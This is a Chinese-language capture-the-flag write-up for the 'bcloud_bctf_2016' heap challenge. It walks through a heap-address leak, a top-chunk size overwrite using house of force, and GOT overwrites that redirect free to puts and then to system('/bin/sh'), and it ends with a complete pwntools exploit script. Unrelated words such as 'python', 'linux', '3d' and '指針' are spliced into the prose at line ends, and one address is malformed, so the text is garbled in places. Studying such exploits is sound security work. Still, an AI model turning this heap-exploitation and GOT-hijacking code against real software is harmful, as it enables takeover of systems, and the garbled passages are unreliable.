根據本題,學習與收穫有:python
house of force
不須要保證top chunk
的size
域是合法的,可是house of orange
須要保證size
域合法,由於後一種利用方式會把top chunk
放在unsorted bin
,會有chunk size
的檢查。house of force
通常須要泄露出heap
地址,而且須要能改寫top chunk
的size
域,還要能分配任意大小的內存,總的來講,條件仍是不少的。能夠直接分配到got
表附近,可是這樣會破壞一些got
表的內容,也可分配到堆指針數組,通常在bss
或者data
段。strcpy
會一直拷貝源字符串,直到遇到\x0a
或者\x00
字符。而且在拷貝結束後,尾部添加一個\x00
字符,不少off by one
的題目就是基於此。題目的運行環境是ubuntu 16
,使用libc-2.23.so
。linux
注意:arch
爲i386-32-little
。shell
很明顯,這又是一個菜單題。首先來看main
函數:ubuntu
在進入while
循環以前,首先調用了welcome
函數引用與參考[1],而後再去執行循環體。繼續來看一下welcome
中有什麼操做。數組
這裏面調了兩個函數,繼續分析函數
這裏面操做爲:學習
s
寫入0x40
大小的數據,有一個字節的溢出malloc(0x40)
,獲得的chunk
大小爲0x48
strcpy
,把s
的數據拷貝到剛剛申請的chunk
的用戶內存區域。這裏存在一個漏洞點,越界拷貝了堆地址,在後面的漏洞點中會有分析。debug
順便放一下read_off_by_one
函數和put_info
函數:3d
read_off_by_one:指針
put_info:
這裏涉及到兩次向棧變量上寫數據,而且兩次申請堆內存,兩次調用strcpy
接口。這裏存在着溢出漏洞,後續漏洞點中會進一步分析。
此住須要注意的點有:
ptr_array
裏面最多填滿10
個地址chunk
的大小是size + 4
,能寫的大小倒是size
,基本上不能使用off by one
從ptr_array
數組和ptr_size
數組中取出存儲的地址和大小,並從新獲取用戶輸入並寫入數據。
釋放指針指向的內存後直接將指針置爲0
一開始看這個程序的時候,一直把目光對準了while
循環體裏面,幾個關於note
的函數,由於通常狀況下,漏洞點會出如今這些函數裏面,事實證實,慣性思惟害死人。找了半天,啥洞也沒找到,最後把目光聚焦在welcome
裏面的兩個函數,才發現了利用點。接下來,詳細講一講漏洞點。
get_name:
這裏畫一下棧內存與堆內存的變化:
填充內容前:
填充內容後:
所以,當填慢0x40
個可見字符後,調用put_info
打印內容的時候會把上面的chunk
的地址給打印出來。
get_org_host函數:
填充前:
往棧變量s
和p
寫了數據,並分配內存後:
執行兩次strcpy
後:
能夠看到top chunk
的size
域被更改了。
2.2三、2.27
版本的libc
是奏效的,在libc-2.29.so
加了top chunk
的size
域合法性的校驗。malloc
傳一個負數,會自動轉化爲正整數的。size
可能會有一些偏移。利用步驟:
get_name
接口中,輸入0x40 * 'a'
,泄露出堆地址get_org_host
覆蓋top chunk
的size
,修改成0xffffffff
。house of force
分配到ptr_array
,即地址爲0x0x804b120
。0x44
大小的chunk A、B、C、D
。那麼,編輯chunk A
的時候,就能直接修改ptr_array
數組元素的地址。引用與參考[2]。edit_note
,編輯chunk A
,將ptr_array[2]
設置爲free@got
,將ptr_array[3]
設置爲printf@got
。edit_note
,編輯ptr_array[2]
的內容爲puts@plt
,就是將free@got
修改成了puts@plt
地址。del_note
,去釋放ptr_array[3]
,實際上調用的是puts
打印出來了printf
的地址。edit_note
,編輯chunk A
,將ptr_array[0]
設置爲0x804b130
,ptr_array[2]
設置爲free@got
,將ptr_array[4]
寫爲/bin/sh
edit_note
,將free@got
修改成了system
地址del_note
,釋放ptr_array[0]
,便可getshell
定義好函數:
def new_note(size, content, io:tube=sh): io.sendlineafter('option--->>\n', '1') io.sendlineafter("Input the length of the note content:\n", str(size)) io.sendlineafter("Input the content:\n", content) io.recvline() def edit_note(idx, content, io:tube=sh): io.sendlineafter('option--->>\n', '3') io.sendlineafter("Input the id:\n", str(idx)) io.sendlineafter("Input the new content:\n", content) io.recvline() def del_note(idx, io:tube=sh): io.sendlineafter('option--->>\n', '4') io.sendlineafter("Input the id:\n", str(idx))
執行get_name
,泄露heap
地址:
sh.sendafter("Input your name:\n", 'a' * 0x40) sh.recvuntil('a' * 0x40) leak_heap_addr = u32(sh.recvn(4)) LOG_ADDR('leak_heap_addr', leak_heap_addr)
執行get_org_host
,修改top chunk
的size
爲0xffffffff
:
sh.sendafter("Org:\n", 'a' * 0x40) sh.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a') sh.recvuntil("OKay! Enjoy:)\n")
計算出top chunk
的地址,分配到0x804b120
:
top_chunk_addr = leak_heap_addr + 0xd0 ptr_array = 0x804b120 margin = ptr_array - top_chunk_addr new_note(margin - 20, "") # 0
連續分配四塊chunk
,修改free@got
的內容爲puts@plt
,泄露出libc
的地址:
free_got = 0x804b014 puts_plt = 0x8048520 printf_got = 0x804b010 for _ in range(4): new_note(0x40, 'aa') edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got)) edit_note(2, p32(puts_plt)) del_note(3) msg = sh.recvuntil("Delete success.\n") printf_addr = u32(msg[:4]) LOG_ADDR('printf_addr', printf_addr)
計算出system
地址,修改free@got
爲system
函數的地址,並準備好/bin/sh
:
system_addr = printf_addr - offset edit_note(1, p32(0x804b130) * 2 + p32(free_got) * 2 + b'/bin/sh') edit_note(2, p32(system_addr))
釋放帶有/bin/sh
的chunk
,便可getshell
:
del_note(0)
from pwn import * context.update(arch='i386', os='linux') sh = process('./bcloud_bctf_2016') LOG_ADDR = lambda s, i:log.info('{} ===> {}'.format(s, i)) def new_note(size, content, io:tube=sh): io.sendlineafter('option--->>\n', '1') io.sendlineafter("Input the length of the note content:\n", str(size)) io.sendlineafter("Input the content:\n", content) io.recvline() def edit_note(idx, content, io:tube=sh): io.sendlineafter('option--->>\n', '3') io.sendlineafter("Input the id:\n", str(idx)) io.sendlineafter("Input the new content:\n", content) io.recvline() def del_note(idx, io:tube=sh): io.sendlineafter('option--->>\n', '4') io.sendlineafter("Input the id:\n", str(idx)) sh.sendafter("Input your name:\n", 'a' * 0x40) sh.recvuntil('a' * 0x40) leak_heap_addr = u32(sh.recvn(4)) LOG_ADDR('leak_heap_addr', leak_heap_addr) sh.sendafter("Org:\n", 'a' * 0x40) sh.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a') sh.recvuntil("OKay! Enjoy:)\n") top_chunk_addr = leak_heap_addr + 0xd0 ptr_array = 0x804b120 margin = ptr_array - top_chunk_addr new_note(margin - 20, "") # 0 free_got = 0x804b014 puts_plt = 0x8048520 printf_got = 0x804b010 for _ in range(4): new_note(0x40, 'aa') edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got)) edit_note(2, p32(puts_plt)) del_note(3) msg = sh.recvuntil("Delete success.\n") printf_addr = u32(msg[:4]) LOG_ADDR('printf_addr', printf_addr) if all_parsed_args['debug_enable']: offset = 0xe8d0 # 0x10470 else: libc = LibcSearcher('printf', printf_addr) libc_base = printf_addr - libc.dump('printf') LOG_ADDR('libc_base', libc_base) offset = libc.dump('printf') - libc.dump('system') LOG_ADDR('offset', offset) system_addr = printf_addr - offset edit_note(1, p32(0x804b130) * 2 + p32(free_got) * 2 + b'/bin/sh') edit_note(2, p32(system_addr)) del_note(0) sh.interactive()
如下爲引用與參考,可能以腳註的形式呈現!
[1]:本文的函數均已重命名,原二進制文件不帶符號信息
[2]:其實這裏能夠直接去控制ptr_size
數組,一直到ptr_array
,這樣還能夠控制size
,分配一個chunk
就夠操做了。